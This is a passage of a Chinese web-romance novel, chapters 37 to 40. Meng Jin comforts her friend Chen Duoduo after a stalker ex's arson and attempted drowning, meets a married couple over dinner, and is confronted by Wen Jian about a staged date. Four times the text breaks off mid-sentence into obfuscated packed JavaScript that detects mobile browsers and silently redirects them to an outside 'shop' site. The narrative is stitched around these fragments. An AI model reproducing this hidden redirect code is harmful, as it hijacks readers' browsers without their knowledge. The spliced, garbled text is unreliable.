陈朵朵表情有点难以形容,倒也好说话,小手一挥抓起手机打给隔壁的闻教授,“喂,你老婆要死了,让你送她去火葬场呢。” 一边顺从地松了手,将人丢回到枕头上:“女士,您的遗言我已经帮您完成啦——现在能说你到底怎么了吗?我的宝贝儿。” 孟瑾十分吃力地撑开腿让自己躺平,手里还端着她给的玻璃杯……虽然里头的水已经洒得所剩无几了:“我没事,就是习惯性走神而已。倒是我想听你说说下午的事,如果你不介意闻大班长旁听的话,就让他来吧。” 陈朵朵从她手里拿过杯子放到床头柜上:“真想听?” 孟瑾眨着乌亮的眼睛抬头看她:“作为交换,我明天煮泡面给你接风如何?” 哦,好像已经过了十二点了,那就是今天。 陈朵朵扑哧笑起来,起身给匆匆赶来的闻见开了门,对方见孟瑾跟他摆手示意,以为刚刚是她俩在闹着玩,就点了一下头,把门带上走了。 陈朵朵还在笑,她笑得似乎很开心,她没再坐回床上,而是伸手拉过旁边孟瑾的化妆椅坐下了。 脚蹬着地板轻轻转了半圈,然后抬头看过来,眼睛一下变得好红。 “我下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915143|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去海边本来想跳海的。”陈朵朵说。 孟瑾一滞,半晌眨眼“嗯”一声。 似是觉得自己很可笑,陈朵朵又笑了一下,眼睫突然湿了:“是不是很无语?没想到吧。” ”我自己也挺无语的其实……”没等对方回答,她就自问自答似的继续说:“段飞他有精神病,我是今年才知道的,我爸妈也知道,还有我继父。因为五一那几天他约我出去玩,我不去,他就把我房子给点了,然后把我反锁在房间里……说只要我受了伤,或者变成残疾就跑不出去了,他就能照顾我,一辈子照顾我,我当时都快吓死了,我的手和脚都不停在抖,我费了好大的力气才跳窗跑出来,然后我就搬去我妈家住了,所以我家里人都知道他有病。” 孟瑾下床走过来,到了她身边,张嘴想说什么,可是看着陈朵朵一脸平静的模样,她又想,她害怕难过的时候自己都不在她身边,现在说几句不痛不痒安慰的话又有什么意义? 所以孟瑾最终什么也没说,只是伸手揽过她的肩让她靠在自己身上,陈朵朵抬手抱住她的腰,轻轻侧头将脑袋埋进她怀里,低声说:“但是就算知道也没用,他们还是照样天天逼我……我那个好赌成性的爹几乎每周都要去我公司门口闹两次,撒泼打滚的说我不善养他,还说要去法院告我……我想迁户口,他也不给我迁,说除非我听他的话跟段飞结婚。” “还有我继父,他几乎天天都跟我妈吵架,说我嫁不出去就是败坏他的名声,丢他的脸,还说他出门碰上邻居都抬不起头。” “每天看着我妈夹在中间那么为难,我……我也不知道该怎么办。”陈朵朵说着抬头,对上孟瑾定定看她的眼。 她也看着她,就那一个眼神—— 陈朵朵就像忽然变成了小孩,一把抓住她的手,哽咽着跟她哭诉:“但是小瑾你知道的,我家里的那些人,他们……他们根本就不是为我好,他们就是拿了段飞的钱,想把我往火坑里推……所以我才不听他们的,我就算、就算死也不听他们的。” “所以你今天在海边,是怎么躲开他回来找我的?”等陈朵朵说完好一会,平复了心情,孟瑾才抓着她的手蹲下来,蹲在她面前,轻轻地问。 陈朵朵摇头:“我也不知道,他伸手要把我推进海里,但是不知怎么他又突然犯了病,开始胡言乱语,我就回来找你了。” 孟瑾伸手摸了摸她的头,然后看着她,很温柔地笑了笑,说:“朵朵,已经很晚了,我们先不想了,我们回去睡觉好不好?” 陈朵朵也看着她,笑盈盈地乖巧点头,人却没动:“好累啊。” ”小瑾,真的好累……”陈朵朵伸手抱住她说。 安静须臾,孟瑾说:“朵朵,我们报警吧。” 陈朵朵没有回答,而是没头没尾的说了一句:“小瑾,你有喜欢的人吗?” “没有啊,怎么问这个?” “不,你是喜欢闻大班长的,”陈朵朵说:“你自己也知道,对不对?” 38.第 38 章 孟瑾自顾自沉默了几秒,然后头一回很正视的回答了她喜欢闻见这个事。 “不是所有的喜欢都有必要窥见天光的,”她说:“你也知道,我和他本来就是两个世界的人,所以没有故事才是最好的结局。” 陈朵朵闻言,有点意外地挑了挑眉,“我以为你又不承认呢。” 孟瑾笑着摇摇头,实话说:“因为刚刚回来的路上,他用那首歌的歌词跟我表白了。” 陈朵朵点头,学着孟瑾方才的动作伸手摸了摸她的脑袋:“小瑾,心里很堵是不是?” 孟瑾静静看着她,没有说话,但也没否认。 话题就此结束。 仿佛过了好久,实际上也不过几秒钟的光景。 “走啊,回去睡觉。”陈朵朵忽地起身扯开话题,然后扯着胳膊把她拉起来,孟瑾像是忽然软了身子,被人拉起来站都没站,就脑袋一歪软趴趴地趴到她肩上了。 陈朵朵见状扑哧一笑,随即拦腰将她很轻松地抱起来:“长那么高还那么轻,你没吃饭啊?” 孟瑾弯着眼睛笑了笑,乖巧点头:“你给我做好吃的。” “切……我又不是你老公,少跟我这儿玩美人计。” 陈朵朵说着,绝情又干脆地松手把她丢到枕头上。 抬头的刹那刚好对上孟瑾水水的,亮亮的眼眸,然后不知怎么两个人忽然就笑了,笑着笑着,一下又全都红了眼眶。 “以当年之所以会接受宋天宇,就是因为他对不对?”陈朵朵看着她问。 孟瑾伸手拿枕头的动作一顿,好半晌才轻轻眨了一下眼睛,然后往边上挪了挪,给她腾出位置。 她没说是也没说不是,她只是答非所问说了句:“快睡吧,已经很晚了。” 陈朵朵点头,伸手关了灯,仰面盯着黑漆漆什么都看不到的房顶位置,她说:“我要是你,这次我肯定不放手了。” “小瑾,不是每次回头都能看到在原地等你的那个十七岁少年的。有些人真的是……你一眨眼他就变了。” 旁边的孟瑾静静的,像是已经睡着了。 过了十几秒的样子,陈朵朵才又听见一道轻轻地,很低很低的声音,说:“朵朵,你要好好爱自己,别再想他了。” 那你呢? 这么多年一个人在异国他乡,你有没有好好爱自己? 是不是还在为不能给他回应而愧疚、自责呢? 人生本来就是单选题,怎么做都会有遗憾。 陈朵朵眨了眨眼睛,没再接话了。因为她们谁都不是对方,都不能完全绝对的站在对方的角度考虑问题,做决定。 但是不管孟瑾最后的决定是什么,她都会毫无悬念站在她身边,永远支持她,孟瑾当然也一样,会无条件地支持她,不管她是要选择报警,还是……还是说服自己向命运妥协。 不知是不是旁边睡了陈朵朵的缘故,这一晚孟瑾难得没有做梦,一觉睡到次日中午。 她懒懒地动了动眼睫,抬手遮住顺着窗帘缝隙撒进来的光,本来张嘴想问陈朵朵中午要吃什么,结果转头才发现,人早就不知什么时候起来走了。 孟瑾一愣,随即一个骨碌翻起来,鞋也没顾上穿,就直接光脚倒了客厅:“宝宝,你这么着急干嘛去?” 在沙发上用饼干引诱福袋叫干妈的陈朵朵抽空抬头说了一句,接着,就又不管她了:“来,福袋!不许东张西望的,看着我还会有饼干吃哦。” “对,就是这样,非常好,我跟你讲哦,她是你妈妈,嗯,就那个穿紫色睡袍,烫了大波浪,长得特别漂亮的那个女人,而我是谁呢?我是她闺蜜,你爸的小姨子,也就是你干妈,知道了么?” 孟瑾:“……” 有句话怎么说来着,人无聊的时候就很有必要找个班上。 比如沙发上正逼着福袋乱认妈的那位。 福袋一门心思都在陈朵朵手里的饼干上,看她说完忙乖巧地转着圈摇尾巴:“旺旺!” 陈朵朵眨巴眨巴眼睛,实在听不懂,只好无助地抬头再次看向孟瑾,“哎,先别走,翻译一下,它说啥来着?” 孟瑾停住脚步看过来,似笑非笑“翻译”道:“说你应该找个班上。” “哼,它明明就说了两个字,哪有那么多?而且,好好的干嘛让我去上班啊?” “因为你很无聊啊,没事儿让人乱叫什么妈?”孟瑾抬手伸了个懒腰,一边朝后下腰做着简单的瑜伽动作,边问:“中午想吃什么?叫外卖还是出去吃,或者我给你做个爱心午餐?” “呀,你会做饭了?会做什么呀?”陈朵朵一脸惊讶抬起头。 “泡面加蛋加火腿肠。” “……” “需要的话还可以再加一把菜。”孟瑾慢悠悠补充。 陈朵朵表情不太自然地看她一眼,没再说话了。 她将手里的饼干喂给福袋,然后伸手摸摸它的脑袋,起身去了窗边。 今天窗外难得没有下雪,碧空如洗的蓝天白云看着很透亮,暖洋洋的日头照在人身上也很舒服。 陈朵朵一手扒着玻璃垂眸往外看,看到楼下有个穿纯白长款羽绒服,扎马尾的小女生在晒太阳,旁边还有个穿黑色冲锋衣的男生,他什么也没做,也没抬头看女生,就在旁边安静站着。 陈朵朵小时候虽然不跟孟瑾和闻见住一个小区,但他俩的相处模式她还是很了解的:“宝贝儿,我看到小时候的你和你老公啦!” “别这样说,“孟瑾说:“我们只是合作关系,你说这话让别人听见,他还怎么找女朋友啊。” 陈朵朵:“不用担心,闻大班长现在正在外面跟某位仙女似的姐姐约会呢!” 后面正压腿的孟瑾长睫微微一动。 难怪陈朵朵刚刚要教福袋乱认妈,原来是担心以后连福袋都不要她了么? “哦,那挺好的呀,我以为他大周末不在家是去加班了呢。”她很快压下心里将要冒头的波澜,语气没什么变化地说:“肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929479|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子饿了,咱俩出去吃火锅吧?” 出门后,晒着太阳吹着风,陈朵朵的心情一下好了很多,这才跟她说起闻见早上被他大学时暗恋的女生约出去吃饭的事,她早上起来,还看见两个人打视频来着。 女生听着声音嗲嗲的,应该是个南方姑娘,就是她站的太远了,没看清对方的长相,不过听闻大班长的描述,应该也是个瘦瘦高高,挺漂亮的,而且话还比较多,最重要的是—— ”她是个外科大夫,昨天才从外国留学回来,今天就约大班长吃饭了。”陈朵朵在市中心一家装修高级,环境复古的私房菜馆落了座,说着抬头看一眼对面的孟瑾,又道:“想吃什么随便点,今天庆祝姐又多活了一天,所有消费由陈小姐买单。” 孟瑾虽然不想泼她凉水,但还是很平静地提醒道:“陈小姐,您的行李都丢了,手机也是借钱买的,现在还哪有钱买单?” “我微信登上了呀!”陈朵朵说。 孟瑾一愣:“什么时候的事,不是说密码忘了的话,要把电话卡补回来才行吗?” “早上,你老公帮我弄的,感觉他突然变得好厉害,什么都会。” 是么?那确实还挺厉害的,不像以前,除了看书就没别的爱好了。 真好,闻见终于有自己的生活了。 等他跟那个南方姑娘的事定下来,她再跟他说搬家离婚的事,闻见应该也会欣然同意的吧。 “你……”孟瑾心不在焉想着什么,原本要问他俩什么时候这么熟了,话到嘴边又没说。 因为她突然想起来,闻见昨晚说的,他跟段飞之前是好朋友的事。 陈朵朵眼皮都不用掀,就知道她还想问什么,“他之前老托段飞跟我这儿打听你在国外的事,后来我们俩分手,大班长还单独找过我几次……话说,那个谁要是有班长一半就好了,要是、要是那样的话,他有病我也跟他……” 她说着,喉间蓦地一哽,缓了好几秒,才又抬头笑了笑,语速飞快地说:“你看我又说什么疯话?还是快点餐吧——服务员,这边点餐,谢谢。” 孟瑾没有接她的话,伸手握住她微微发颤的手,轻轻地说:“想喝酒吗?我陪你。” 陈朵朵:“你不是最讨厌喝酒么?” “是,但是我现在突然想喝。” 因为是午饭时间,餐馆里的客人就很多,前后左右几乎每一桌都有人,每个人都熙熙攘攘说着各自的事,伴着面前云雾缭绕的五谷香气,孟瑾并听不清。 她们先是要了几瓶啤酒,喝着喝着陈朵朵又嫌不过瘾,干脆去前台拿了几瓶白的,她从小就爱喝酒,所以酒量并不差,黄的白的一通喝,最后天都黑了,才摇摇晃晃趴到桌子上,摆手说不喝了。 孟瑾之前没少跟着宋天宇跑酒局,因为要随时防着有人伸暗手,又不能假喝,一来二去的酒量也就练起来了,可也不知今天是不是状态不对,喝到这会儿她已经醉得不行了,手里的杯子一丢,招呼也没打,就直接去了卫生间。 39.第 39 章 她双手用力扶着洗手台,眼睛一眨不眨盯着镜子里的自己,蓦地想,她为什么总是这样,总是像个机器一样,没有感情,没有情绪…… 高兴也这样,不高兴也这样,朵朵被喜欢的人欺骗,被父母家人利用,又刚刚经历了生死一线的事情,明明已经那么难受了,她为什么还要拉着她喝酒,她就不能像“个正常人”一样,说几句安慰人的话么? 还有……还有闻见,他今天一天都没给她打电话,应该是跟那个南方姑娘约会一高兴,把她忘了吧? 孟瑾想着,轻轻弯了弯唇。 闻见这是终于肯往前走,终于找到自己的命中注定了么? 真好啊,她应该为他高兴,还应该……应该学着“正常人”的社交礼仪,请他出去吃个饭,好好庆祝一下,以后就是纯友谊了。 不知过了多久,直到旁边有另一个女生过来洗手,看见她整个人站得笔直,脸色白的有些吓人,眼睛也湿湿的,就仿佛……仿佛在极力克制心里某种难言的情绪。 她抿了抿唇,转头试着搭话:“那个,这位小姐,您……还好吗?” 孟瑾回过神来,摇摇头,说了句没事,转身要走,又忽地想起什么。 她脚步一顿,回头看着女生笑了笑:“谢谢。” 女生抬头笑了下:“没事,大家都是女孩子,出门在外,互相帮忙很正常的。” 说着,又从包里掏出一块纯手工刺绣的软方巾手帕,伸手递过来,“这是新的,不介意的话可以擦擦眼睛。” 孟瑾闻言,目光微微一顿,这才看清来人的长相;微蹙的柳眉,水波流转的杏核眼,皮肤白如瓷,五官精致、自带冷感,是那种很有气质,很漂亮,却又能看出举手投足间不经意流露出的温柔知性,是和她认识的女生都不一样的风格,但又确实很美。 她穿着也很简单随性,一条九分黑色西裤配白衬衫,外套是短款半修身皮夹克,也是黑色的,手上还戴了一块小方表。 “你是‘回响’时装的品牌创始人顾总吗?”孟瑾不知道是不是喝太多有些醉了,看着女生的长相,她忽然想起来对方是谁,然后就没头没尾地问了一句。 女生闻言似是有些意外,她微微一挑眉,倒是干脆:“是,我叫顾苒,或者你直接叫我名字就行。” 孟瑾点头,接过她手里的手帕,笑了笑,说:“我叫孟瑾,是……是闻见的——” “是闻教授的爱人吧,我知道你,”顾苒见她欲言又止的,似乎不知道怎么说,就淡淡笑着把话接过去了:“我听我先生说的,闻教授终于得场所愿了。” “我们这些做朋友的都很为你们高兴呢,恭喜呀。” 孟瑾捏了捏手里的帕子,轻轻“嗯”了一声。 倒是没想到,闻见会把他俩结婚的事情告诉他的朋友们,都说被重视的人才会被公开,看来,闻见之前确实很重视她。 不过以后就……孟瑾想着,忽然感觉脑袋晕乎乎的,似乎是喝的酒有些上头,胸口也很闷,像是憋了一口气,压得她莫名很难受。 孟瑾无意识狠狠攥了一下手指,又偏头眨着眼睛慢慢吐了口气,这才转回勉强一笑,说:“顾…… 顾苒,谢谢你的手帕,方便的话留个电话吧,我改天洗干净了还你——我有点不舒服,就先告辞了。” “好啊,你带手机了吗,我扫你微信吧,”顾苒看她很不舒服的样子,主动伸手扶住她的胳膊,又道:“不过手帕就不用还了,交个朋友吧。” 她到了跟前,一下就闻到孟瑾身上很重的酒气,她的眼睛看着红红的,整个人站都站不稳,身体也在不受控微微发着抖。 顾苒一顿,很快反应过来什么:“小瑾,你怎么了,是不是酒精过敏啊?” 两人虽然是第一次见,但孟瑾还是能感觉到对方发自内心的关心和友好,她摇摇头表示自己没事,一边扶着她的手臂借力让自己站直起来。 这时候,还能分出精力插科打诨的在心里感叹,优秀的人果然处处都很优秀,并不是像外界传说的那样只会对自己有用的人面带微笑,他们真的是不管工作学习,还是为人处事样样都很好。 而她,确实跟他们不一样。 和闻见约会的那个南方姑娘,应该也和他们是一种人吧。 孟瑾光顾着走神,都没注意顾苒什么时候扶着她到了餐馆外面。 这时,天已经完全黑了,街上霓虹闪烁,过路的人和车都很多。 孟瑾被迎面的冷风一吹,脑中总算清醒了些,人也能站直了。 “我现在感觉好多了,谢谢。”她抬头冲旁边人笑了笑。 顾苒笑着摇摇头,说:“客气。我看你也没有拿手机,一个人回去不太安全,等下我老公过来,让他给闻教授打个电话来接你吧。” 话没说完,一位瘦瘦高高很帅的先生就三步并两步跑过来,他身上穿着与顾苒同款的情侣装,一双风情万种的桃花眼落在旁边姑娘身上就挪不开了,手也紧紧牵住她的手,左看右看看了好半晌,才说:“老婆!你怎么一直不回消息嘛,担心死我了……快点儿,给我抱抱压压惊!” 说着,才注意到旁边的孟瑾:“嗯,这位小姐姐是,合作伙伴么?” 顾苒被他这举动搞得有些害羞,脸颊也跟着微微有些泛红,她一边安慰似的轻轻捏了捏对方的手,在他耳侧小声说:“乖,我没事,不用担心的。” 一边笑着给他俩介绍:“这是闻教授的爱人孟瑾,孟小姐。小瑾,这是我老公陆逍。” 陆逍点头,眼疾手快侧头在她脸颊亲了亲,接着,一秒变身高冷商业模式,伸手跟孟瑾握了握:“孟小姐,幸会。” 孟瑾也笑着朝他点点头:“陆先生,久仰。” 旁边的顾苒眨着长睫看看这个,又看看那个,一下没忍住好笑道:“哎呀,我说你俩也太正式了吧,又不是要开座谈会。哦,对了,阿逍,小瑾好像有点醉了,又没拿手机,你给闻教授打个电话,让他来接一下吧。” 孟瑾伸手想阻止,但是已经来不及了。 陆逍挑眉“唔”了声,已经掏出手机打过去了:“啧,亲亲您那边是在忙着拯救银河系么?这么晚了自己老婆一个人在外面也不担心?” 电话那头的闻见不知说了句什么。 陆逍:“哦,是么?那必须祝你成功啊。行了,挂吧,浪费电话费……知道了知道了,一个大男人家家的话怎么那么多?你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942832|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你是我老婆啊?” 旁边的顾苒闻言立马笑起来,边笑边朝孟瑾眨眼睛:“哈哈哈,男老婆。” 孟瑾抬头看了看陆逍,又在脑中回忆了下闻见的长相,然后认真点头给出评价:“嗯,都是大帅哥,挺般配的。” 顾苒:“是啊,性格也很互补。” “什么呀!什么性格很互补?我们小瑾和闻大班长么?”俩人正说着,在里头醒酒醒的差不多的陈朵朵就蹦蹦跳跳跑过来找孟瑾了,说着才注意到旁边的顾苒陆逍两人,她话音一滞,忙十指一起出动整了整自己乱成鸟窝的头发,然后突然压低声音问:“小瑾,他俩是谁呀?有没有对象呀?长得也太符合我的理想型了吧!” 孟瑾说:“不行啊,人家是热恋中的小夫妻呢,咱还是换个理想吧。” 陈朵朵:“不用不用,不用换!不知道吧?近距离看也算恋爱的!” 孟瑾闻言一挑眉,确实不知道还有这个说法。 接着,陆逍又提议说要去吃晚饭,因为三个女生都喝了酒,他就在网上找了一家分平挺高的粤菜馆,说是过去喝点瘦肉粥正好解酒。 孟瑾本来想说她跟朵朵就不去了,结果话还没出口,对方就说是闻见让他带她们去的,叫她别再客气了。 恰好顾苒又说起了她跟陆逍来这边旅游的事儿,问她俩有没有推荐的好玩的好吃的地方,然后你一句我一句的,话题就被带过去了。 吃饭的时候,他们要了一个四人桌,陈朵朵的性格本来就比较活泼,喝了酒更是闲不住,趁着陆逍出去接电话的功夫,她已经迅速跟顾苒打成一片,且顺理成章坐到她旁边,把陆逍的碗挤到对面跟孟瑾的并排放着。 “苒苒,我好喜欢你呀!我们加个微信好不好?”她一边用比较夸张的迷妹语气说着,一边很小鸟依人地侧头靠到顾苒肩上。 顾苒被她可爱的不行,根本没法抵挡:“好呀好呀,我扫你!” 正说着,陆逍就一脸诧异的走过来了:“三位美女,不好意思打扰一下,是谁策反我老婆把我给休了的?这才两分钟啊……” 旁边的孟瑾想也不想,抬手一指:“不用怀疑,就你老婆新娶的那位。” 话落的同时,陈朵朵抓起顾苒的手一起举高,“是我是我,我们俩一起决定的!” 说完,四个人同时大笑起来。 孟瑾笑着喝一口粥,然后余光忽然瞥见陆逍讨抚摸似的伸手捏了捏顾苒的手,顾苒也笑着捏了捏他的手,很轻,很温柔。 画面自然又甜蜜,仿佛一瞬定格,成了永久。 如果她也能勇敢一点,坚持一点,她跟闻见的结局会不会也有所不同?会不会也像顾苒说的那样:念念不忘,必有回响? 孟瑾想着,不自知地苦笑了一下,然后垂下眼睫,又喝了一口粥。 …… 饭后,几人说说笑笑站在路边打车,孟瑾侧头就看见一整天没出现的闻见终于出现了。 他迎着冷风,披着夜光一路小跑到了她跟前,在她半米处停了步子,然后抬头看着她,看着她的眼睛,轻轻一笑,说话声音断断续续的,似乎是太冷了。 “小瑾,我……我来接你回家了。” 40.第 40 章 虽然旁边过路的车很多,耳边也呼呼呼地全是冷冽的风,但孟瑾还是听清了他说的话。 他说,他是来接她回家的。 记忆里,好像从来都没有人跟她说过这样的话,从小到大,她一直都是没有家的那一个。 不管是小时候的舅舅舅妈家,还是长大一点,来了安城唐婉清和孟强东的那个家,她都没有感受过一点家的归属,也从来没有谁说过“来接她回家”的话。 虽然这么多年,她也早就习惯了,也无所谓有没有自己的家,无所谓在这熙熙攘攘的城市霓虹间,灯火阑珊的日落西山处,有没有那么一个人,一盏灯是为她停留,为她亮着的。 但也不知是不是下午酒喝多了的缘故,就在刚刚,在闻见迎着冷风,披星戴月,徒步跑过半个城市出现在她面前,微微喘着说,他来“接她回家了”的那一瞬,孟瑾的心还是不受控地跳了一下。 是很轻,很细微的举动,甚至除了她自己谁都不知道。 但还是莫名砸得她整个身体,连同内里的五脏六腑都跟着颤了一下。 孟瑾也不知道这是为什么,或者……或者是因为将要失去了,所以才想起来不舍和感动的? 果然,自私的人终究还是自私的。 但这些都是她心里一闪而过的想法,旁边的闻见并看不出什么,在他看来,孟瑾只是很随意的抬头看了他一眼,然后什么也没说,就轻轻眨了一下眼睛,把头转开了。 当着好几个人,闻见也不好再说什么,他暗自垂眼叹了口气,站到孟瑾旁边了。 今晚的天和白天一样,月明星稀很是晴朗。 几人隔着不远不近的距离站在灯火阑珊的小城街头,各自做着各自的事。 陈朵朵低着头在手机上订酒店房间,说是要跟顾苒他们回酒店住,孟瑾担心他喝了酒,一个人住着不方便。 而对方只是抬头笑笑,完全没当什么大事:“没事的,放心吧,你以前不在我身边,我一个人不是也挺好的?” 说着,忽地神秘兮兮踮起脚尖,凑到她耳边,意有所指地跟她咬耳朵:“而且,你不是有话要问大班长吗?抓紧时间哦,我改天还回来呢!” 孟瑾:“……” “陈大画师,你是真的喝醉了,别再自行脑补了好不好?”她也转头看着她,同样小声:“人家去跟女神相亲,我有什么好问的。” 陈朵朵:“听你这意思倒不像吃醋哈。” 旁边三人闻言,齐齐回头看着孟瑾,似乎都在等她回答。 孟瑾一脸莫名掀起眼皮,眼神没半点不自然的回看着他们:“不是,我为什么要吃醋啊?” “没有么?那我怎么闻到了一股很浓的酸味儿?”陈朵朵又问。 孟瑾:“不知道啊,可能谁家腌酸菜了。” “哦,是么?” 陈朵朵说着,忽地转头看向旁边的顾苒,问:“那苒苒你们觉得呢?是醋味儿还是腌酸菜了?” 顾苒还不知道闻见去相亲的事,也听不懂她俩在说什么,闻言很是困惑地眨了眨眼睛,笑说:“我还不知道你们在说什么,所以我站小瑾这边。” ”哦,好吧,虽然你没站在我这边,但是看你这么温柔又好看的分儿上,我就原谅你啦!”陈朵朵眼睛亮晶晶的看着她,听她说完不但不生气,还故意笑眯眯给陆逍使绊子:“原来你老公没跟你说啊?他不是什么都知道么。” 顾苒笑着点一下头,然后侧目看向陆逍:“唔,是么?” “……”陆逍立马从善如流,乖巧地拉着自家老婆的小拇指轻轻晃:“顾总,对不起,顾总,我错啦!” 顾总看着他眨了眨眼睛,似是在考虑要不要原谅。 陆逍还是笑盈盈地眨眼睛,手上微微用力把她扯到怀里,低头在她唇上亲了一下,“老婆,我爱你!” 顾苒脸颊瞬间红透.,也顾不上跟人生气了,只忙抬手想把他推起来:“哎呀……你干嘛,这么多人呢。” 恰在此时,陆逍叫的车也到了。 “没事没事,顾总不用害羞哦。”陆逍得意的笑起来,又抬头朝旁边的闻见扬了扬下巴,说:“走了,有时间带嫂子来夕城玩。” 闻见闻言没有出言挽留,甚至都没一句让人去家里坐坐的话,就只顺着对方的话说:“嗯,好,等小瑾有时间吧。” 孟瑾侧头看他一眼,一副欲言又止的表情。 闻见不明所以,问:“嗯,什么?” 孟瑾说:“小苒他们好不容易来一次,你也不约个饭局什么的。” 闻见:“都挺忙的,估计没时间吧。” 陆逍:“嗯,是,我们打算这两天就回了,嫂子不用客气的。” 孟瑾只好笑着看向顾苒,说:“那好吧,今天谢谢你们了,拜拜。” 顾苒笑:“客气,有时间微信联系,拜拜。” 趁着他们说再见,陈朵朵已经自顾自钻进旁边暖气超足的豪华大汽车了:“小瑾,我也蹭个车走了,拜!” “嗯,好,快走吧。”孟瑾朝他们挥了挥手,等车一走,立马潇洒转身往前走了。 闻见抬头看她一眼,迈开长腿追上前,跟人并排走着,一边随口问:“我记得你跟陆逍没见过啊,怎么认出来的?” 孟瑾也不知道为什么,今天就是懒得说话,于是她想了想,还是什么都没说。 因为她感觉,方才喝粥压下的酒劲儿又上来了,心里堵得满满的,头也昏昏沉沉有些疼,她现在跟谁说话,都有可能误伤对方。 所以保持沉默才是对对方最好的尊重。 要是平时,看她不答,闻见也就不再追问什么了,可是他今天一天都没见到孟瑾的面,也一直忍着没给她打电话,心里想她想的都快疯了。 可是孟瑾却从刚刚他来找她到现在,一直都不理他,不跟他说话。 闻见也不知道自己是不是下午喝了酒,情绪有些上头,他忽然感觉心里有些委屈,就也没想太多,伸手直接扯住她的手腕,说:“小瑾,我想跟你谈谈。” 孟瑾停住脚步,侧头看向他,眼里带着询问和疑惑。 闻见咕噜咕噜滚了几下喉结,然后偏头吐出一口白气,又转回看着她在星空下亮亮的,仿佛闪着光的眼眸,声音很轻地说:“小瑾,你怎么了?你为什么突然就不理我,不跟我说话了?” “……” 孟瑾想说她不是不理他,她只是单纯的不想说话,不想跟任何人说话。 然而话没出口,她就看到对方红红的,一看就是喝多了的眼睛。 哦,难怪闻大教授跟平时看着不太一样,原来是跟南方妹子约会喝了酒,回来她这儿发酒疯呢。 就此时此刻来讲,孟瑾心里是有些窝火的。 “我没有不理你,”但想到刚刚自己一直没回答他的话,孟瑾还是在心里调整了下情绪,平静开口说:“我就是下午喝了酒,有点上头,不想说话而已。不为别的。” 此时时间并不算晚,但街上却没什么过路的人,车也很少,只偶尔才会开过一辆。 恍恍惚惚的,极其安静。 仿佛周遭只剩了他们两个人。 可能是酒精起的作用,虽然站在空旷的大街上,吹着冷风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964358|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但两人的身体并不冷,甚至孟瑾还能感觉到被他紧紧牵着的左手手腕隐隐的有一点热,像是他把他的温度传给自己了似的。 闻见听她说完没有说话,也没有放开她的手,反而抬腿转过来,站到她面前,不足一指的距离。 甚至俩人一呼一吸时,都纠缠着彼此炙热滚烫的气息。 这氛围让孟瑾觉得没有安全感。 她闭眼平复了下心里的波澜,仰头对上闻见浅棕色的眼,面上仍旧淡然:“你怎么了?有什么事么?” 闻见看着她,没有说话。 亮亮的眼眸红红的,含着一抹雾蒙蒙的湿气。 孟瑾的心跳不自觉开始加速。 她想抽回自己的手,想往后退,扯开一些距离。 可是还没付出行动,闻见就心有灵犀般蓦地抬起另只手,将她扣进自己的怀里,紧紧地抱着不撒手。 “闻见,你白天才跟相亲对象约完会,现在又跟另一个女生做出这样的举动,你觉得好吗?” 孟瑾暗自闭眼调整着呼吸,语气听不出波澜,她试图用警告的方式换回对方的理智。 闻见却像被刚刚陆逍的举动传染了,他还是没有放手,而是低头贴着她的耳垂,低低地问:“我去跟别人相亲,你也一点都不在乎么?” 孟瑾觉得荒唐,又觉得好笑。 她用力一下抽回自己的手,把他推开,声音冷下来说:“你是喝醉了吗?我又不喜欢你,为什么要在乎你跟谁在干什么?” 闻见一动不动站在原地,有些错愕地愣了几秒,然后自言自语似的喃喃道:“对啊,你又不喜欢我,怎么会在乎我在做什么。” “但是陈朵朵为什么要骗我?” 闻见慢慢后退靠到身后一棵梧桐树上,他像是忽然酒劲上头,有些站不住了。 他红红的眼眸直勾勾看着孟瑾的眼睛,好半晌,又落寞地垂下去,说:“她说只要我假装跟别的女生出去,然后忍着一天不来找你,也不给你打电话,你肯定会着急,会有反应的,可是你都不喜欢我,你一直都不喜欢我,怎么会着急,会有反应呢?” 什么? 